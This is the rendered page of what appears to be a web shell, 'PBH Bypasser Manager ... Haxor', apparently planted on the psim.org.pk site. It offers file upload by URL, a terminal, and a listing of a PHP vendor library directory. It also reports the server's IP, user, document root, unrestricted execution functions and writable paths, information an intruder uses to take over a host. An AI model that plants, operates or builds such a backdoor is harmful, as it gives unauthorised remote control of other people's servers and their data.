🌸 psim.org.pk

PBH Bypasser Manager | Use your logic to penetrate all Security

v1.1.2 Haxor
Home
0 item(s) selected

Quick Upload

Upload via URL

Single File

Multiple Files

Server Information

SERVER INFO

Software Apache
PHP Version 8.3.30
OS Linux
Server Name psim.org.pk
SSL Enabled

NETWORK & USER

Server IP 198.23.59.68
Your IP 216.73.216.70
User psim
Group tty
Document Root /home/www/psim.vps104032.mylogin.co

PHP LIMITS

Upload Max 10M
Post Max Size 8M
Memory Limit 512M
Max Execution 0s
Disabled Functions None

WRITABLE CHECK

Temp Dir Writable
Document Root Writable
Server Time 2026-09-12 22:14:58
Timezone UTC

TERMINAL FUNCTIONS

Shell Exec Exec System Passthru Popen Proc Open PCNTL Exec
NameSizePermissionsModifiedOwnerActions
CombGenerator.php 3.12 KB 0775 2024-04-27 21:32:50 psim
DceSecurityGenerator.php 4.34 KB 0775 2024-04-27 21:32:50 psim
DceSecurityGeneratorInterface.php 1.71 KB 0775 2024-04-27 21:32:50 psim
DefaultNameGenerator.php 1.24 KB 0775 2024-04-27 21:32:50 psim
DefaultTimeGenerator.php 3.8 KB 0775 2024-04-27 21:32:50 psim
NameGeneratorFactory.php 698 B 0775 2024-04-27 21:32:50 psim
NameGeneratorInterface.php 1.04 KB 0775 2024-04-27 21:32:50 psim
PeclUuidNameGenerator.php 1.32 KB 0775 2024-04-27 21:32:50 psim
PeclUuidRandomGenerator.php 807 B 0775 2024-04-27 21:32:50 psim
PeclUuidTimeGenerator.php 873 B 0775 2024-04-27 21:32:50 psim
RandomBytesGenerator.php 1.12 KB 0775 2024-04-27 21:32:50 psim
RandomGeneratorFactory.php 708 B 0775 2024-04-27 21:32:50 psim
RandomGeneratorInterface.php 735 B 0775 2024-04-27 21:32:50 psim
RandomLibAdapter.php 1.52 KB 0775 2024-04-27 21:32:50 psim
TimeGeneratorFactory.php 1.13 KB 0775 2024-04-27 21:32:50 psim
TimeGeneratorInterface.php 1.13 KB 0775 2024-04-27 21:32:50 psim
UnixTimeGenerator.php 5.83 KB 0775 2024-04-27 21:32:50 psim

Terminal (Working dir: /home/www/psim.vps104032.mylogin.co/vendor/ramsey/uuid/src/Generator)